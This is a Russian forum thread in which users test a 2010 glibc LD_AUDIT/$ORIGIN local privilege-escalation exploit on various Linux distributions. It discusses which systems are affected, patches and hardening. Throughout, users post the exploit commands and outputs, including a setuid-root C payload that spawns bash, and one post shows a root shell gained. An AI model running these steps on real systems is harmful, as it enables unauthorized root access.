	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

27. "В Glibc обнаружена серьезная уязвимость"	+3 +/–
Сообщение от Аноним (??) on 19-Окт-10, 16:31
Особенно порадовало отношение разработчиков glibc.. бага есть? - ну есть, ну и нафик - не будем ее фиксить, не сломают. А если сломают? - тогда и пофиксим. Чем-то это напоминает отношение MS к выпуску обновлений. Не ужели FSF не может нормально следить за ключевым проектом?
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	36. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от z (??) on 19-Окт-10, 16:45
	линейкой по пальцам через интернеты =)
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

29. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от savant (ok) on 19-Окт-10, 16:37
Arch, при выполнении LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 шелл просто падает
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

40. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от aNoN on 19-Окт-10, 16:58
В funtoo тоже suid бит для хардлинка не выставляется, поэтому не работает. В debiane - лехко, но падает шелл.
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	63. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от User294 (ok) on 19-Окт-10, 18:28
	> В debiane - лехко, но падает шелл. Ога, с ассертом в libc.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	65. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от tamerlan311 on 19-Окт-10, 18:34
	в Дебиане давно используется eglibc вместо классической libc
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	69. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Sylvia (ok) on 19-Окт-10, 18:46
	и несмотря на то, что eglibc всего лишь форк от glibc, в eglibc ( 2.11.2 ) эксплоит не работает.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

42. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от Аноним (??) on 19-Окт-10, 17:01
~ $ mkdir /tmp/exploit ~ $ ln /bin/ping /tmp/exploit/target ~ $ exec 3< /tmp/exploit/target -bash: /tmp/exploit/target: Отказано в доступе gentoo ~x86_64
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	71. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Sylvia (ok) on 19-Окт-10, 18:56
	suid бинарник на который делается линк должен быть читаемым mode 4755 например, если он нечитаем, но выполним, то exec 3 не пройдет.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

44. "Убунты не пробирает... "	+/–
Сообщение от User294 (ok) on 19-Окт-10, 17:03
А "презренные бубунты" этот сплойт не пробирает. Посему странно ждать исправления для них - а они походу не эксплойтабельны и так?! Какой редхатчик новость писал? Он был не в курсе что в убунте/дебияне юзается другая либа - eglibc? Или какого буя про исправления написано? Пусть автор новости объяснит свою логику наведения паники? oO В бубунтах шелл просто убивается с assertion failed. И фигъ мне а не рут, соответственно. Так что приветы крЮтому редхату и Ульриху. Энтерпрайзнички, а на стандарт вот забили :-). $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 Inconsistency detected by ld.so: dl-open.c: 271: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	55. "с openSuSE аналогично"	+/–
	Сообщение от Аноним (??) on 19-Окт-10, 17:30
	с openSuSE аналогично - умирает шелл.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	56. "Убунты не пробирает... "	+/–
	Сообщение от anonymous (??) on 19-Окт-10, 17:31
	>другая либа - eglibc Embedded GLIBC (EGLIBC) is a variant of the GNU C Library (GLIBC) that is designed to work well on embedded systems.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	61. "Убунты не пробирает... "	+/–
	Сообщение от User294 (ok) on 19-Окт-10, 18:19
	> Embedded GLIBC (EGLIBC) is a variant of the GNU C Library (GLIBC) > that is designed to work well on embedded systems. Спасибо, Кэп. Но это не отменяет факта что приведенный эксплойт работает только на редхатах, но не катит в дебиянообразных. Судя по всему как раз потому что либа другая. Я где-то ошибаюсь в моей логике? Тогда покажите где.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	162. "Убунты не пробирает... "	+1 +/–
	Сообщение от solardiz (ok) on 20-Окт-10, 17:41
	> Судя по всему как раз потому что либа другая. Я где-то ошибаюсь в моей логике? Тогда покажите где. Да, ошибаешься. Тут дело не в glibc vs. eglibc, а в опциях сборки. -DNDEBUG убирает assert'ы, которые, в теории, на уже отлаженном коде не нужны. А реально - в данном случае помогали. То, что срабатывает assert внутри glibc/eglibc - это признак наличия бага - так что исправление для Debian и Ubuntu должно появиться. Возможно, оно не будет считаться security fix'ом, хотя уверенности в том что assert'а было достаточно, чтобы спастись от всех способов атаки, нет. А вот Owl и ALT Linux этой проблеме не подвержены по другим причинам. :-)
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

47. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от Аноним (??) on 19-Окт-10, 17:19
$ LD_AUDIT="\$ORIGIN" exec /proc/$$/fd/3 bash: /proc/30974/fd/3: Permission denied bash: exec: /proc/30974/fd/3: cannot execute: Success $ хз... видимо я так давно не обновлялся, что LD_AUDIT у меня не поддерживается =))
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	52. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Аноним (??) on 19-Окт-10, 17:25
	а, нет, вру, дескриптор перепутал, assert срабатывает: $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 Inconsistency detected by ld.so: dl-open.c: 231: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

50. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от Аноним (??) on 19-Окт-10, 17:24
ERROR: ld.so: object '$ORIGIN' cannot be loaded as audit interface: cannot open shared object file; ignored.
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

54. "В Glibc обнаружена серьезная уязвимость"	+2 +/–
Сообщение от прххффф on 19-Окт-10, 17:30
На Debian не работает. Вывод: RedHat дырявый :-) $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 Inconsistency detected by ld.so: dl-open.c: 271: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

57. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от Аноним (??) on 19-Окт-10, 17:39
в ubuntu 10.10: $ mkdir /tmp/exploit $ ln /bin/ping /tmp/exploit/target ln: создание жесткой ссылки `/tmp/exploit/target' => `/bin/ping': Операция не позволяется
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	80. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Sylvia (ok) on 19-Окт-10, 19:37
	жесткую ссылку можно сделать в пределах 1 устройства, у вас наверное /tmp и /bin на разных партициях/устройствах
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	84. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от val (??) on 19-Окт-10, 20:32
	у меня тоже ubuntu 10.10. tmp и bin на одном разделе. то же самое выдает.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

64. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от Vasily Pupkin on 19-Окт-10, 18:34
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 Inconsistency detected by ld.so: dl-open.c: 231: dl_open_worker: Assertion `(call_map)->l_name[0] ==
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

66. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от Аноним2 on 19-Окт-10, 18:35
В основной ссылке по новости есть второй метод атаки http://seclists.org/fulldisclosure/2010/Oct/257 Почему его еще никто не попробовал? Там ссылки делать не придется.
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	70. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Аноним (??) on 19-Окт-10, 18:53
	пробовали не работает bash: line 28: /tmp/exploit/traget: No such file or directory
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	76. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Аноним2 on 19-Окт-10, 19:15
	Что-то вы не то делаете видимо, но и у меня не получается. Это как раз способ для SETUID файлов без доступа на чтение $ ls -l /bin/ping2 -rwsr-x--- 1 root root 37312 Oct 19 18:51 /bin/ping2 $ $ mkdir /tmp/exploit $ cat > /tmp/exploit.c void __attribute__((constructor)) init()    {        setuid(0);        system("/bin/bash");    } $ $ ln /bin/ping2 /tmp/exploit/target $ (head -c 65534 /dev/zero; LD_DEBUG=nonsense LD_AUDIT="\$ORIGIN" /tmp/exploit/target 2>&1) | (sleep 1h; cat) & [1] 5559 $ rm -rf /tmp/exploit/ $ gcc -w -fPIC -shared -o /tmp/exploit /tmp/exploit.c $ pkill -n -t $(tty | sed 's#/dev/##') sleep $ -bash: line 11:  5560 Terminated              sleep 1h -bash: line 11: /tmp/exploit/target: Permission denied [1]+  Done                    ( head -c 65534 /dev/zero; LD_DEBUG=nonsense LD_AUDIT="\$ORIGIN" /tmp/exploit/target 2>&1 ) | ( sleep 1h; cat ) $ это на CentOS 5.5 . Может у кого-нибудь получилось?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	88. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Аноним (??) on 19-Окт-10, 21:38
	funtoo, glibc-2.11-r1 Assertion ... failed
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	90. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от ozs (ok) on 19-Окт-10, 21:55
	>>>$ (head -c 65534 /dev/zero; LD_DEBUG=nonsense LD_AUDIT="\$ORIGIN" /tmp/exploit/target 2>&1) | (sleep 1h; cat) & [1] 5559 А что вот это [1] 5559 , у меня пишет такая команда не найдена.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	99. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от User294 (ok) on 19-Окт-10, 23:06
	> А что вот это [1] 5559 , у меня пишет такая команда не найдена. Это? Это - стопроцентный EPIC FAIL! :)))) Хинт: ввести выданные шеллом номер job и его pid как команду - круто придумано. Вы б думали что вводите, а? Иначе вы рискуете оказаться однажды в роли обезьяны с гранатой.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	116. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от ozs (ok) on 20-Окт-10, 02:11
	Спасибо >>Иначе вы рискуете оказаться однажды в роли обезьяны с гранатой. От этого никто не застрахован.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	117. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от ozs (ok) on 20-Окт-10, 02:17
	"[1] 5559"чей pid должен быть?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	74. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Sylvia (ok) on 19-Окт-10, 19:08
	sylvia@evy /var/tmp $ pkill -n -t $(tty | sed 's#/dev/##') sleep -bash: line 3: 18668 Terminated              sleep 1h sylvia@evy /var/tmp $ warning: debug option `nonsense' unknown; try LD_DEBUG=help Inconsistency detected by ld.so: dl-open.c: 231: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed! с eglibc 2.11.2 со вторым способом также срабатывает ассерт
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	78. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от AX on 19-Окт-10, 19:21
	> В основной ссылке по новости есть второй метод атаки > http://seclists.org/fulldisclosure/2010/Oct/257 После выполнения pkill: warning: debug option `nonsense' unknown; try LD_DEBUG=help Inconsistency detected by ld.so: dl-open.c: 232: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed! > Там ссылки делать не придется. (head -c 65534 /dev/zero; LD_DEBUG=nonsense LD_AUDIT="\$ORIGIN" /tmp/exploit/target 2>&1) В первой же строке запуск всё той же ссылки на ping.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

67. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от Vasily Pupkin on 19-Окт-10, 18:41
У меня вообще ни на одной машине не получилось заэксплуатировать. 1. У меня всё с SUID на отдельных разделах 2. Всё с suid только на 111 3. Даже когда я это всё пофиксил, всё равно вываливается ассёрт :]
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

72. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от Al1966 on 19-Окт-10, 18:57
Fedora12 получилось. :(
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

89. "В Glibc обнаружена серьезная уязвимость"	+3 +/–
Сообщение от Добрый Аноним on 19-Окт-10, 21:40
Вот, а кто-то мне тут рассказывал, что в линухах держать все на одном разделе можно спокойно, там людей не тревожат переполнения разделов, опции монтирования, а теперь не тревожат еще и всякие уязвимости.... О безопасности думать надо, да.
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

91. "В Glibc обнаружена серьезная уязвимость"	+1 +/–
Сообщение от i (??) on 19-Окт-10, 22:02
чето облом на 2й же команде ln /bin/ping /tmp/exploit/target ln: создание жесткой ссылки «/tmp/exploit/target» => «/bin/ping»: Неверная ссылка между устройствами ладно создал в /home но опять же: ls -l /proc/$$/fd/3 ls: невозможно получить доступ к /proc/18810/fd/3: Нет такого файла или каталога glibc-2.11.2
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

97. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от balex (??) on 19-Окт-10, 22:37
Опять этот SUID... Ну и как всегда о сто и одном способе "как получить линукс с правами обычного пользователя" тут не поведали. Те же юзеры, которые работают в удалённых xnix окружениях наверное и так бояться что-нить "уронить", конечно без дятлов никуда...
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

103. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от Аноним (??) on 20-Окт-10, 00:06
andrey@evilhorse /var/run/exploit $ ls -ld . drwxrwxrwx 2 andrey andrey 4096 Окт 19 23:03 . andrey@evilhorse /var/run/exploit $ ln /bin/ping /var/run/exploit/target andrey@evilhorse /var/run/exploit $ ls -l итого 28 -rws--x--x 2 root root 26508 Авг 18  2008 target andrey@evilhorse /var/run/exploit $ exec 3< /var/run/exploit/target bash: /var/run/exploit/target: Отказано в доступе andrey@evilhorse /var/run/exploit $ не работает
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	105. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Аноним (??) on 20-Окт-10, 00:13
	если пофиксить права на /bin/ping: Inconsistency detected by ld.so: dl-open.c: 231: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed! и падение
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

113. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от Аноним (??) on 20-Окт-10, 01:48
тестовая система, собранна из исходников ./configure && make && make install , ни каких патчей безопасности - тот же ".. Assertion .."
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

115. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от ifel (??) on 20-Окт-10, 02:08
CO5 i386/x86_64 - пашет на ура CO4 - не работает На CO5 мы уже собрали rpms patched и разлили по серверам.
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

124. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от d4r on 20-Окт-10, 07:58
мда, 2 ехплоита за один вечер, етот и http://www.exploit-db.com/exploits/15285. уид=0 на Linux box 2.6.34.7-56.fc13.i686 #1 SMP Wed Sep 15 03:33:58 UTC 2010 i686 i686 i386 GNU/Linux
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	126. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от killer1804 (??) on 20-Окт-10, 08:35
	> мда, 2 ехплоита за один вечер, етот и http://www.exploit-db.com/exploits/15285. уид=0 > на Linux box 2.6.34.7-56.fc13.i686 #1 SMP Wed Sep 15 03:33:58 UTC > 2010 i686 i686 i386 GNU/Linux [user0@video_srv ~]$ ./expl.bin [*] Linux kernel >= 2.6.30 RDS socket exploit [*] by Dan Rosenberg [*] Resolving kernel addresses... [+] Resolved cap_ptrace_traceme to 0xc1149490 [+] Resolved commit_creds to 0xc1060fe0 [+] Resolved prepare_kernel_cred to 0xc1060db0 [*] Failed to resolve kernel symbols. [user0@video_srv ~]$ [user0@video_srv ~]$ uname -a Linux video_srv 2.6.32-ARCH увы и ах
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	127. "в генте не работает"	+/–
	Сообщение от Вова on 20-Окт-10, 09:18
	$ ./a.out [*] Linux kernel >= 2.6.30 RDS socket exploit [*] by Dan Rosenberg [*] Resolving kernel addresses... [+] Resolved security_ops to 0xffffffff81c44e50 [+] Resolved default_security_ops to 0xffffffff81a3daa0 [+] Resolved cap_ptrace_traceme to 0xffffffff811c73f4 [+] Resolved commit_creds to 0xffffffff81056b7b [+] Resolved prepare_kernel_cred to 0xffffffff81056a37 [*] Could not open socket. ~ $ uname -a Linux  2.6.34.1 #5 SMP Tue Aug 24 15:56:29 MSD 2010 x86_64 AMD Athlon(tm) 64 X2 Dual Core Processor 5000+ AuthenticAMD GNU/Linux
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	128. "способ проверки на работу эксплойта прост"	+/–
	Сообщение от korrado on 20-Окт-10, 09:44
	ls -l /bin/ping если для не юзера стоит r-x, эсплойт работает (Мандривы, Федоры, Убанты) если стоит, --x, то не работает (Слаки и другие)
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	138. "это другой эксплойт"	+/–
	Сообщение от Вова on 20-Окт-10, 13:45
	> ls -l /bin/ping > если для не юзера стоит r-x, эсплойт работает (Мандривы, Федоры, Убанты) > если стоит, --x, то не работает (Слаки и другие) в данной теме присутствуют два эксплойта, один скриптом (вы о нём), другой программкой.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

132. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от АнонимМ on 20-Окт-10, 11:48
Что-то в Red Hat Enterprise Linux Server release 5.1 (Tikanga) работать не хотит. bea@yam-ind:/tmp>gcc -w -fPIC -shared -o /tmp/exploit payload.c payload.c:7: ошибка: redefinition of ‘init’ payload.c:2: ошибка: previous definition of ‘init’ was here glibc-2.5-18 Что-то пока не страшно.
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	134. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от ifel (??) on 20-Окт-10, 12:02
	> Что-то в Red Hat Enterprise Linux Server release 5.1 (Tikanga) работать не > хотит. > bea@yam-ind:/tmp>gcc -w -fPIC -shared -o /tmp/exploit payload.c > payload.c:7: ошибка: redefinition of ‘init’ > payload.c:2: ошибка: previous definition of ‘init’ was here > glibc-2.5-18 > Что-то пока не страшно. Что-то у Вас в .c file ошибка, а не работать не хочет. Проверьте, что вставили все один раз и без спец символов. Да и RHEL 5.1 как бы outdated уже, там остального добра думаю хватит, даже если это и не работает.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	146. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от АнонимМ on 20-Окт-10, 14:41
	Да правда ваша - работает.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

135. "В Glibc обнаружена серьезная уязвимость"	+1 +/–
Сообщение от TS (ok) on 20-Окт-10, 12:59
Умные люди давно следуют рекомендациям по безопасности. например от NSA. Открываем "Guide to the Secure Configuration of Red Hat Enterprise Linux 5" - http://www.nsa.gov/ia/_files/os/redhat/rhel5-guide-i731.pdf - читаем - 2.1.1.1.1 Create Separate Partition or Logical Volume for /tmp 2.1.1.1.2 Create Separate Partition or Logical Volume for /var ... 2.1.1.1.5 Create Separate Partition or Logical Volume for /home if Using Local Home Directories ... 2.2.1.3 Add nodev, nosuid, and noexec Options to Temporary Storage Partitions 2.2.1.4 Bind-mount /var/tmp to /tmp ... 2.2.3.4 Find Unauthorized SUID/SGID System Executables
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

148. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от буба on 20-Окт-10, 15:31
Ubuntu 10.04: moo@moo:~$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 Inconsistency detected by ld.so: dl-open.c: 231: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	150. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от буба on 20-Окт-10, 15:45
	CentOS 5.3 [moo@co53 ~]$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 [root@co53 ~]#
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	154. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от буба on 20-Окт-10, 16:42
	После "yum update glibc" с версии 2.5.34 до 2.5.49 и пересборки эксплоит все-равно работет на CentOS.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	190. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от буба on 21-Окт-10, 18:41
	Сегодня вышел апдейт glibc, после которого $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3  вырубает шелл.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

191. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от Аноним (??) on 21-Окт-10, 20:26
I just can't create the link from /bin/ping to /tmp/exploit/target ln: creating hard link `exploit/target' => `/bin/ping': Invalid cross-device link
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

192. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от paxuser (ok) on 22-Окт-10, 00:18
Сегодня на #grsecurity: <taviso> kees: we pwned you :) <taviso> (check your mail) <kees> taviso: aaah craps <kees> taviso: nice work :) <taviso> thanks :D <spender> AHH CRAPS <kees> taviso: well, no worries, the glibc update was waiting in the wings anyway. I'll get it published. :) <spender> I INFERR THAT UBUNTU IS VULN TO THE GLIBC BUG <spender> and i guess all other eglibc users too? :p
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	193. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от solardiz (ok) on 23-Окт-10, 02:33
	Да, второй раунд: http://lists.openwall.net/full-disclosure/2010/10/22/15 Исправление для Debian: http://lists.openwall.net/full-disclosure/2010/10/22/16
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

194. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от Аноним (??) on 23-Окт-10, 06:07
ln /bin/ping /tmp/exploit/target ln: создание жесткой ссылки `/tmp/exploit/target' => `/bin/ping': Операция не позволяется OpenSUSE 11.3 // Kernel 2.6.35.4 + Ubuntu patches + BFQ + BFS Наверное yama мли apparmor виноваты....
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	195. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser (ok) on 23-Окт-10, 08:06
	> ln /bin/ping /tmp/exploit/target > ln: создание жесткой ссылки `/tmp/exploit/target' => `/bin/ping': Операция не позволяется Для эксплуатации второй уязвимости хардлинки не нужны.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема